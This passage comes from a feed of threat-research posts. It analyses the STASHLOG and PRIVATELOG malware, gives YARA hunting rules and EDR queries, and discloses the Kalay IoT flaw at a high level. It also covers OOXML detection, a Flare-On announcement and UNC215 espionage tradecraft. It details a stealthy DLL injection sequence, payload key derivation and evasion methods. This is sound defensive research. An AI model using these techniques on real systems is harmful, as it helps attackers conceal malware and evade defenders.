Following the payload header, the malware expects blocks of encrypted data with 8-byte headers. Each block header has the following structure:

struct blockHeader {
   DWORD magic;
   DWORD blockSize;
}

Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.

In practice, the malware should typically find the file used for registry transaction logs: C:\Users\Default\NTUSER.DAT<GUID>.TM.blf

If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll. This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>]

The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.

Before inserting data into the CLFS log file, the malware decrypts each block using HC-128. The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash. Each block is then re-encrypted with the new key material as follows:

  • The encryption key is the 16-byte GUID from GetVolumeNameForVolumeMountPointW().
  • The IV is the first 16-bytes of the SHA1 hash of the concatenated GUIDs from:
    • GetVolumeNameForVolumeMountPointW()
    • The registry value HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID

The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog(). The payload header is written to the log file as the first entry, followed by separate entries for each block.

The data is effectively stored in the first container file for the registry transaction log: C:\Users\Default\NTUSER.DAT<GUID>.TMContainer00000000000000000001.regtrans-ms.

Onto PRIVATELOG

The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll. It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality. PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.

The malicious code is executed at the DLL’s entry point. It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print. If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line. This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.

The patched ServiceMain function is where PRIVATELOG executes most of its functionality.

Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.

If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile(). The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile(). The malware expects to find specific entries which match our analysis of the installer.

PRIVATELOG expects the first log entry to have the following format:

  • A size greater than 40 (payload header size)
  • A WORD value of 2, 3, 4, or 5 at offset 16 (number of blocks)

If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following:

  • Its first DWORD must equal 2 (assumed magic value)
  • Its second DWORD must be less than the entry’s size minus the header. This value equals the size of the payload which will be decrypted.

Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm. The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.

It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.

PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions. The injection process is similar to Phantom DLL hollowing and is described as follows:

  • Open a transacted handle to a copied file via the API CreateFileTransactedA()
    • In the sample analyzed by Mandiant, the file used for the transaction is a copy of the legitimate binary C:\Windows\System32\dbghelp.dll, which is copied to C:\Windows\system32\WindowsPowerShell\v1.0\dbghelp.dll.
  • Overwrite the transacted file with the decrypted payload contents
  • Create a section backed by the transacted file with SEC_IMAGE attributes via the API NtCreateSection()
  • Map a view of the newly created section
    • This implicitly loads the transacted file data to some degree. The PE header is validated, and sections mapped into memory; however, it does not fix section permissions or resolve imports.
  • Fix the section permissions
  • Resolve the imports in the Import Table
  • Execute the payload's entry point
  • Find and execute the export function named SvcMain

Hunting for PRIVATELOG

Container Sample

Figure 4 shows a fabricated container file representing a sample expected log file created by STASHLOG and loaded by PRIVATELOG.


Figure 4: Example log file created by STASHLOG

YARA Rules

Mandiant created YARA rules to hunt for PRIVATELOG and STASHLOG as well as possible variants based on various methodologies and unique strings that they use. Rules to detect CLFS containers matching PRIVATELOG structures or containing encrypted data are also provided. These rules should be tested thoroughly before they are run in a production environment.

import "math"
import "pe"

rule HUNTING_Win_PRIVATELOG_CLFS {

    meta:
        author = "[email protected]"
        description = "This rule looks for CLFS containers containing possible data used by PRIVATELOG. As this rule may loop on file content, preferably use on regtrans-ms files only or with caution."

    condition:
        filesize < 100MB and filesize >= 512KB
        and uint16(0) == 0x0015 // signature
        and uint8(2) != 0 // fixup value upper byte
        and uint8(3) == 0 // always 0
        and uint16(4) == uint16(6) and uint16(4) != 0 // num sectors
        and uint32(8) == 0 // always 0
        and uint32(16) == 1 // always 1
        and uint32(20) == 0 // always 0
        and uint32(40) == 0x70 // size of record header

        // size of data at least 0x28 for first record
        and uint32(0x70+0x18) - 0x28 >= 0x28

        // payloadHeader.numblocks (payloadHeader at 0x70+uint16(0x70+0x22))
        and (uint16(0x70+uint16(0x70+0x22)+0x10) == 0x2 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x3 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x4 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x5)

        // this is a size, assume it is less than our filesize
        and uint32(0x70+uint16(0x70+0x22)+0xC) < filesize

        // confirm malware using 2 different methods
        and (
            // look for hardcoded magic in first log record
            uint32(0x70+uint16(0x70+0x22)) == 0x00686365 or                       
            // loop through each possible sector to look for a blockheader struct
            for any i in (0 .. (filesize \ 512) - 1):
            (
            // look for record header, num sectors and size of record
            uint16(i*512)==0x0015 and uint16(i*512+4) == uint16(i*512+6) and uint16(i*512+4) != 0 and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) > 0x28 and uint32(i*512+0x88) < filesize and
            // look for magic and blockheader.blocksize in payload
            uint32(i*512+0x70+uint16(i*512+0x70+0x22)) == 2 and uint32(i*512+0x70+uint16(i*512+0x70+0x22)+4) == uint32(i*512+0x88)-0x30
            )
        )
}

rule HUNTING_Win_CLFS_Entropy {

    meta:
        author = "[email protected]"
        description = "This rule looks for CLFS containers with records containing high entropy. As this rule may loop on file content, preferably use on regtrans-ms files only or with caution."

    condition:
        filesize < 100MB and filesize >= 512KB
        and uint16(0) == 0x0015 // signature
        and uint8(2) != 0 // fixup value upper byte
        and uint8(3) == 0 // always 0
        and uint16(4) == uint16(6) and uint16(4) != 0 // num sectors
        and uint32(8) == 0 // always 0
        and uint32(16) == 1 // always 1
        and uint32(20) == 0 // always 0
        and uint32(40) == 0x70 // size of record header

        and for any i in (0 .. (filesize \ 512) - 1) :
        (
        // look for record header, num sectors and size of record
        uint16(i*512)==0x0015 and uint16(i*512+4) == uint16(i*512+6) and uint16(i*512+4) != 0 and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) > 0x200 and uint32(i*512+0x88) < filesize
        // look for high entropy in the record[8:] to account for possible block header
        and math.entropy(i*512+0x70+uint16(i*512+0x70+0x22)+8, i*512+0x70+uint16(i*512+0x70+0x22)+uint32(i*512+0x88)-0x28) > 7.95
        )
}

rule HUNTING_Win_PRIVATELOG_1_strict {

    meta:
        author = "[email protected]"
        description = "Detects PRIVATELOG and STASHLOG variants based on strings and imports"
        md5 = "91b08896fbda9edb8b6f93a6bc811ec6"

    strings:
        $hvid = "Global\\HVID_" ascii
        $apci = "Global\\APCI#" wide

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            all of them and
            (
                pe.imports("clfsw32.dll","CreateLogMarshallingArea") and
                pe.imports("kernel32.dll", "VirtualProtect") and
                pe.imports("ktmw32.dll", "CreateTransaction") and
                pe.imports("kernel32.dll", "CreateFileTransactedA")
            )
        )   
}

rule HUNTING_Win_PRIVATELOG_2_notstrict {

    meta:
        author = "[email protected]"
        description = "Detects possible PRIVATELOG and STASHLOG variants based on strings or imports. This rule is purposefully loose so there may be a higher FP rate."
        md5 = "91b08896fbda9edb8b6f93a6bc811ec6"

    strings:
        $hvid = "Global\\HVID_" ascii
        $apci = "Global\\APCI#" wide

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            any of them or
            (
                pe.imports("clfsw32.dll","CreateLogMarshallingArea") and
                pe.imports("kernel32.dll", "VirtualProtect") and
                pe.imports("ktmw32.dll", "CreateTransaction") and
                pe.imports("kernel32.dll", "CreateFileTransactedA")
            )
        )   
}

rule HUNTING_Win_hijack_prntvpt {

    meta:
        author = "[email protected]"
        description = "Detects possible hijack of legitimate prntvpt.dll based on missing export"
        md5 = "91b08896fbda9edb8b6f93a6bc811ec6"

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        pe.exports("PTOpenProviderEx")
        and not pe.exports("MergeAndValidatePrintTicketThunk")
}

EDR / SIEM

To complement static hunting with Yara, Mandiant also recommends hunting for similar indicators of compromise in “process”, “imageload” or “filewrite” events of typical EDR logs. These would cover cases where PRIVATELOG may resolve imports dynamically with LoadLibrary() and GetProcAddress(), versus static imports in currently known samples.

Figure 5 identifies key modules loaded by PRIVATELOG that may be used to create hunting queries: ktmw32.dll, dbghelp.dll and clfsw32.dll.


Figure 5: Memory view of a running PRIVATELOG process

Example hunting queries include:

  • Any process writing or loading C:\Windows\System32\WindowsPowerShell\v1.0\dbghelp.dll
  • Any process loading both clfsw32.dll and ktmw32.dll
  • svchost.exe -k print loading clfsw32.dll or ktmw32.dll
  • Any svchost.exe process loading clfsw32.dll

Concerning svchost.exe, although we have observed many cases of other svchost.exe processes loading ktmw32.dll, we have only rarely observed svchost.exe processes loading clfsw32.dll.

File writes to .regtrans-ms or .blf files are fairly common, however stacking the process name and file paths may also provide good results. For example, file writes to the registry transaction file for the default user are likely to be uncommon.

Hashes

PRIVATELOG

Prntvpt.dll:

1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c

STASHLOG

Shiver.exe:

720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397

MITRE ATT&ACK Techniques

ID

Technique

T1012

Query Registry

T1564

Hide Artifacts

T1574

Hijack Execution Flow

T1574.002

DLL Side-Loading

T1055.013

Process Injection: Process Doppelgänging

FireEye Product Detections

Platform(s)

Detection Name

Network Security

Email Security

Detection On Demand

Malware Analysis

File Protect

FE_APT_Loader_Win_PRIVATELOG

FE_APT_Installer_Win_STASHLOG

HX Security

Generic.mg.0c605276ff21b515

✇ Threat Research

Detecting Embedded Content in OOXML Documents

By: Aaron Stephens

On Advanced Practices, we are always looking for new ways to find malicious activity and track adversaries over time. Today we’re sharing a technique we use to detect and cluster Microsoft Office documents—specifically those in the Office Open XML (OOXML) file format. Additionally, we’re releasing a tool so analysts and defenders can automatically generate YARA rules using this technique.

OOXML File Format

Beginning with Microsoft Office 2007, the default file format for Excel, PowerPoint, and Word documents switched from an Object Linking and Embedding (OLE) based format to OOXML. For now, the only part of this that’s important to understand is OOXML documents are just a bunch of folders and files packaged into a ZIP archive. Let’s look at the Word document this blog post is being written in (Figure 1), for example:

➜ file example.docx
example.docx: Microsoft Word 2007+

➜ unzip -v example.docx
Archive:  example.docx

 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name

--------  ------  ------- ---- ---------- ----- --------  ----

    1445  Defl:S      358  75% 01-01-1980 00:00 576f9132  [Content_Types].xml

     590  Defl:S      239  60% 01-01-1980 00:00 b71a911e  _rels/.rels

    1559  Defl:S      407  74% 01-01-1980 00:00 33ce17ac  word/_rels/document.xml.rels

   10861  Defl:S     2480  77% 01-01-1980 00:00 f0af2147  word/document.xml

    8393  Defl:S     1746  79% 01-01-1980 00:00 9867f4b6  word/theme/theme1.xml

    4725  Defl:S     1416  70% 01-01-1980 00:00 718205c5  word/settings.xml

     655  Defl:S      295  55% 01-01-1980 00:00 bf8dd4bd  word/webSettings.xml

     755  Defl:S      367  51% 01-01-1980 00:00 5bf1cf49  docProps/core.xml

     991  Defl:S      476  52% 01-01-1980 00:00 bad67489  docProps/app.xml

   30308  Defl:S     3104  90% 01-01-1980 00:00 ce0f21cd  word/styles.xml

    7781  Defl:S      952  88% 01-01-1980 00:00 9f45bf02  word/numbering.xml

    2230  Defl:S      559  75% 01-01-1980 00:00 63baaf8c  word/fontTable.xml

--------          -------  ---                            -------

   70293            12399  82%                            12 files

Figure 1: unzip -v output for example.docx

Now, even though we used the unzip command, we didn’t actually unzip the archive. The output provided by the -v option is derived from the ZIP local file headers, which contain a wealth of information on the compressed files. Of particular interest is the CRC-32 value.

A cyclic redundancy check (CRC) is an algorithm designed to detect errors or unintended changes to data. The idea is a system can calculate a CRC value before and after a transfer or transformation of data as a simple way to ensure its integrity. For ZIP archives, the CRC-32 values confirm the decompressed files are the same as they were prior to compression. Which is great and all, but they can serve other use cases too.

Detection

Forget about error-detection. A ZIP CRC-32 value is essentially a small hash of the uncompressed file, and what better way to identify a file than by its hash? While the chance of a collision for CRC-32 is significantly higher than other algorithms such as SHA-256 or even MD5, it can be paired with additional metadata like the file name (or extension) and size to reduce false positives.

Here’s a hex dump of the first local file header from the previous example (Figure 2):


Figure 2: Hex dump of the first local file header for example.docx

Using the CRC-32, uncompressed file size, and file name fields, a YARA rule for this entry can be written as follows:

rule content_types {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "Example OOXML rule."

    strings:
        $crc = { 32 91 6f 57 }
        $name = "[Content_Types].xml"
        $size = { a5 05 00 00 }

    condition:
        $size at @crc[1] + 8 and $name at @crc[1] + 16
}

NOTE: The numeric fields are stored in little-endian.

Examples

Advanced Practices uses this technique to find similar documents that contain the same embedded file over time. Here are a couple real-world examples:

Document: 397ba1d0601558dfe34cd5aafaedd18e
File: 0dc39af4899f6aa0a8d29426aba59314 (word\media\image1.png)
Groups: UNC1130, UNC1837, UNC1965

rule png_397ba1d0601558dfe34cd5aafaedd18e {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "PNG in OOXML document."

    strings:
        $crc = {f8158b40}
        $ext = ".png"
        $ufs = {b42c0000}

    condition:
        $ufs at @crc[1] + 8 and $ext at @crc[1] + uint16(@crc[1] + 12) + 16 - 4
}

This rule detects OOXML documents, which contain a specific PNG image seen in Figure 3.


Figure 3: PNG embedded in phishing documents

Figure 3 is found in several documents dropping LATEOP, and has been attributed to groups such as UNC1130, a North Korean state-sponsored threat actor.

Document: 252227b8701d45deb0cc6b0edad98836
File: 3bdfaf98d820a1d8536625b9efd3bb14 ([Content_Types].xml)
Groups: FIN7

rule xml_252227b8701d45deb0cc6b0edad98836 {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "[Content_Types].xml in OOXML document."

    strings:
        $crc = {8cf0d220}
        $name = "[Content_Types].xml"
        $ufs = {9b060000}

    condition:
        $ufs at @crc[1] + 8 and $name at @crc[1] + 16
}

This rule detects a specific [Content_Types].xml file, which is shown (formatted) in Figure 4.


Figure 4: Formatted [Content_Types].xml file

This file maps different parts of the OOXML package to their content type. Given a unique enough combination of parts and types, the [Content_Types].xml file can be a great way to find similar OOXML documents. This particular example is found in multiple FIN7 GRIFFON samples.

Tooling

Last but not least, it’s time to introduce apooxml, a Python tool that can be used to quickly and easily generate YARA rules just like these. Here’s how it works:

➜ python3 apooxml.py -h
usage: apooxml.py [-h] [-a AUTHOR] [-n NAME] [-o OUT] sample

Generate YARA rules for OOXML documents.

positional arguments:
  sample                OOXML document to generate YARA rule from.

optional arguments:
  -h, --help            show this help message and exit
  -a AUTHOR, --author AUTHOR
                        YARA rule author.
  -n NAME, --name NAME  YARA rule name.
  -o OUT, --out OUT     YARA rule file name.

➜ python3 apooxml.py -o 'example.yara' 397ba1d0601558dfe34cd5aafaedd18e
 1. [Content_Types].xml             1980-01-01 00:00:00  14506c9d  1613
 2. _rels/.rels                     1980-01-01 00:00:00  b71a911e  590
 3. word/_rels/document.xml.rels    1980-01-01 00:00:00  ab5e83b7  1207
 4. word/document.xml               1980-01-01 00:00:00  44c9bf93  2692
 5. word/_rels/vbaProject.bin.rels  1980-01-01 00:00:00  ef601408  277
 6. word/vbaProject.bin             1980-01-01 00:00:00  ab54dacf  10752
 7. word/media/image1.png           1980-01-01 00:00:00  408b15f8  11444
 8. word/theme/theme1.xml           1980-01-01 00:00:00  4276c88b  7088
 9. word/settings.xml               1980-01-01 00:00:00  17044d98  2750
10. word/vbaData.xml                1980-01-01 00:00:00  9209afe1  1292
11. word/fontTable.xml              1980-01-01 00:00:00  37e3715b  960
12. word/stylesWithEffects.xml      1980-01-01 00:00:00  c883d0b1  16755
13. docProps/app.xml                1980-01-01 00:00:00  3cc6382c  982
14. word/webSettings.xml            1980-01-01 00:00:00  4e16a017  428
15. docProps/core.xml               1980-01-01 00:00:00  8cef183c  643
16. word/styles.xml                 1980-01-01 00:00:00  1f9b9145  16002

Enter a number corresponding to the desired entry: 7

Wrote YARA rule to example.yara.

➜ cat example.yara
rule ooxml_png_crc_397ba1d0601558dfe34cd5aafaedd18e {
    meta:
        author = "apooxml"
        description = "Generated by apooxml."
        reference_md5 = "397ba1d0601558dfe34cd5aafaedd18e"

    strings:
        $crc = {f8158b40}
        $ext = ".png"
        $ufs = {b42c0000}

    condition:
        $ufs at @crc[1] + 8 and $ext at @crc[1] + uint16(@crc[1] + 12) + 16 - 4
}

For more details, check out the repository on GitHub.

 

✇ Threat Research

Mandiant Discloses Critical Vulnerability Affecting Millions of IoT Devices

By: Jake Valletta

Today, Mandiant disclosed a critical risk vulnerability in coordination with the Cybersecurity and Infrastructure Security Agency (“CISA”) that affects millions of IoT devices that use the ThroughTek “Kalay” network. This vulnerability, discovered by researchers on Mandiant’s Red Team in late 2020, would enable adversaries to remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.

At the time of writing this blog post, ThroughTek advertises having more than 83 million active devices and over 1.1 billion monthly connections on their platform. ThroughTek’s clients include IoT camera manufacturers, smart baby monitors, and Digital Video Recorder (“DVR”) products. Unlike the vulnerability published by researchers from Nozomi Networks in May 2021 (also in coordination with CISA), this latest vulnerability allows attackers to communicate with devices remotely. As a result, further attacks could include actions that would allow an adversary to remotely control affected devices and could potentially lead to remote code execution.

The Kalay protocol is implemented as a Software Development Kit (“SDK”) which is built into client software (e.g. a mobile or desktop application) and networked IoT devices, such as smart cameras. Due to how the Kalay protocol is integrated by original equipment manufacturers (“OEMs”) and resellers before devices reach consumers, Mandiant is unable to determine a complete list of products and companies affected by the discovered vulnerability.

This vulnerability has been assigned a CVSS3.1 base score of 9.6 and is tracked as CVE-2021-28372 and FEYE-2021-0020. This blog post discusses the Kalay network and CVE-2021-28372 at a high level. It also includes recommendations from ThroughTek and Mandiant, along with mitigation options.

Mandiant would like to thank both CISA and ThroughTek for their coordination and support in releasing this advisory.

FAQ

What devices are affected, and (potentially) how many devices are affected?

The vulnerabilities described in this post affect a core component of the Kalay platform. Mandiant was not able to create a comprehensive list of affected devices; however, ThroughTek’s website reports more than 83 million active devices on the Kalay platform at the time of writing this post.

How is the issue being addressed?

Mandiant worked with ThroughTek and CISA to disclose this vulnerability and would strongly recommend companies using the Kalay platform follow the guidance provided by ThroughTek and Mandiant:

  • If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (“DTLS”) features provided by the Kalay platform.
  • If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.
  • Review security controls in place on APIs or other services that return Kalay unique identifiers (“UIDs”).

How would an attacker exploit these vulnerabilities?

An attacker would require comprehensive knowledge of the Kalay protocol and the ability to generate and send messages. The attacker would also need to obtain Kalay UIDs through social engineering or other vulnerabilities in APIs or services that return Kalay UIDs. From there, an attacker would be able to remotely compromise affected devices that correspond to the obtained UIDs.

How do I know if a device I own is affected? How do I protect myself if I own an affected device?

Mandiant was not able to create a comprehensive list of devices using the Kalay platform, but strongly encourages users of IoT devices to keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.

Device owners should avoid connecting to affected devices from untrusted networks such as public wireless networks.

Who discovered this vulnerability?

Jake Valletta, Erik Barzdukas, and Dillon Franke.

CVE-2021-28372: Device Impersonation

Mandiant researchers analyzed ThroughTek’s Kalay protocol using two different approaches. First, the researchers selectively downloaded and disassembled applications from both the Google Play Store and Apple App Store that included ThroughTek libraries. These libraries typically did not contain debugging symbols, which required the team to also perform dynamic analysis with tools such as Frida, gdb, and Wireshark.

In addition, Mandiant purchased various Kalay-enabled devices. The team performed local and hardware-based attacks to obtain shell access, recover firmware images, and perform additional dynamic testing. These techniques included identifying UART/JTAG interfaces, performing chip-off attacks, and exploiting other debugging functionality present on the devices.

Over the course of several months, the researchers developed a fully functional implementation of ThroughTek’s Kalay protocol, which enabled the team to perform key actions on the network, including device discovery, device registration, remote client connections, authentication, and most importantly, process audio and video (“AV”) data. Equally as important as processing AV data, the Kalay protocol also implements remote procedure call (“RPC”) functionality. This varies from device to device but typically is used for device telemetry, firmware updates, and device control.

Having written a flexible interface for creating and manipulating Kalay requests and responses, Mandiant researchers focused on identifying logic and flow vulnerabilities in the Kalay protocol. The vulnerability discussed in this post affects how Kalay-enabled devices access and join the Kalay network. The researchers determined that the device registration process requires only the device’s 20-byte uniquely assigned identifier (called a “UID” here) to access the network. In Mandiant’s testing, this UID was typically provided to a Kalay-enabled client (such as a mobile application) from a web API hosted by the company that markets and sells a device model. Mandiant investigated the viability of brute forcing ThroughTek UIDs and found it to be infeasible due to the necessary time and resources.

Figure 1 shows a typical device registration and client connection process on the Kalay network. The example scenario is a user remotely accessing their camera feed on a mobile application from a remote network, (e.g. a coffee shop or mobile phone network) with their Kalay-enabled camera located on their home network.


Figure 1: Normal device registration and connection process

If an attacker obtains a UID of a victim Kalay device, they can maliciously register a device with the same UID on the network and cause the Kalay servers to overwrite the existing Kalay device. Once an attacker has maliciously registered a UID, any client connection attempts to access the victim UID will be directed to the attacker. The attacker can then continue the connection process and obtain the authentication materials (a username and password) needed to access the device. Figure 2 shows a client connection attempt when both a victim device and a malicious device with the same UID exist simultaneously on the network. In this example, the malicious registration is overwriting the existing registration on the network, causing client connections to be mistakenly routed to the malicious device.


Figure 2: Attacker exploiting device personation vulnerability to capture credentials

With the compromised credentials, an attacker can use the Kalay network to remotely connect to the original device, access AV data, and execute RPC calls. Vulnerabilities in the device-implemented RPC interface can lead to fully remote and complete device compromise. Mandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (“ASLR”), Platform Independent Execution (“PIE”), stack canaries, and NX bits.

Figure 3 shows a hypothetical attack utilizing the captured Kalay username and password to stage a further attack by abusing vulnerabilities in the Kalay RPC interface.


Figure 3: Attacker using captured credentials to fetch audio/video data

The following video (Figure 4) demonstrates a functional proof of concept for CVE-2021-28372. Note that Mandiant is not releasing any public exploit code.

✇ Threat Research

Announcing the Eighth Annual Flare-On Challenge

By: Nick Harbour

The FLARE team is once again hosting its annual Flare-On challenge, now in its eighth year. Take this opportunity to enjoy some extreme social distancing by solving fun puzzles to test your mettle and learn new tricks on your path to reverse engineering excellence. The contest will begin at 8:00 p.m. ET on Sept. 10, 2021. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 22, 2021.

This year’s contest will consist of 10 challenges and feature a variety of formats, including Windows, Linux, and JavaScript. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you smash your way through all 10 challenges, you will receive a prize and permanent recognition on the Flare-On website to honor your greatness. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Prior year’s prizes were belt buckles, a replica police badge, a challenge coin, a medal, a massive pin, and a cyber-styled skeleton key.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon8.

✇ Threat Research

UNC215: Spotlight on a Chinese Espionage Campaign in Israel

By: Israel Research Team

This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215. While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.

This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government. These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.

Threat Detail

In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215. These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia. There are targeting and high level technique overlaps with between UNC215 and APT27, but we do not have sufficient evidence to say that the same actor is responsible for both sets of activity. APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.

In addition to data from Mandiant Incident Response and FireEye telemetry, we worked with Israeli defense agencies to review data from additional compromises of Israeli entities. This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019. During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement. We believe this adversary is still active in the region.

Attack Lifecycle

Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.

After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance. This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN. The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.

In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells. In the following days, the operators interacted with these web shells from internal IP addresses, attempting to harvest credentials.

After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD. UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging. While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215.


Figure 1: Attack Lifecycle

Tradecraft and Operational Security

We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.

Reducing Forensic Evidence on Disk

UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system. This type of action can make it more difficult for incident responders to reconstruct what happened during a compromise.

  • The operators deleted tools used for credential harvesting and internal reconnaissance including a custom scanner dubbed WHEATSCAN after use.
  • The first FOCUSFJORD payload delivered to a system contains a blob that includes C2 and other configuration data. On initial execution, FOCUSFJORD writes its encrypted C2 configuration into the system’s registry, sets up a persistence mechanism and then rewrites itself on disk without the embedded configuration and with limited functionality to only read configuration data. This process enables the operators to obfuscate the configured C2 servers from automated sandbox runs or disclosure in public file scanning services.
  • A newly identified utility dubbed FJORDOHELPER can update FOCUSFJORD configurations and completely remove FOCUSFJORD from the system. The tool can be deployed and executed remotely to delete any remaining FOCUSFJORD forensic evidence, including files on disk, configuration data encrypted in the registry, and related services and registry keys used for persistence.

Exploiting Trust Relationships

UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network. As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.


Figure 2: Two FOCUSFJORD samples configured to proxy C2 traffic

Concealing C2 Infrastructure

UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.

  • HYPERBRO samples MD5: 0ec4d0a477ba21bda9a96d8f360a6848 and MD5: 04dece2662f648f619d9c0377a7ba7c0 have embedded configurations of internal IP addresses (192.168.1.237 and 192.168.4.26 respectively) as C2 servers. If they receive a command with an IP address and port, they will connect and relay the command.
  • FOCUSFJORD sample MD5: e3e1b386cdc5f4bb2ba419eb69b1b921 has an internal IP address, 192.168.4.197, configured as its C2. This sample was extracted from MD5: c25e8e4a2d5314ea55afd09845b3e886, which was submitted to a public malware repository in December 2017.

While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct. However, analysis indicates that it only contains functions to relay communications between another FOCUSFJORD instance and a C2 server (Figure 2, Network A). We suspect this type of malware was used in the aforementioned operation. The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls. Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.


Figure 3: Two FOCUSFJORD samples configured to proxy C2 traffic

FOCUSFJORD Changes

We have observed numerous variants of the FOCUSFJORD malware family since 2017. The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions. Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers. Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators. 

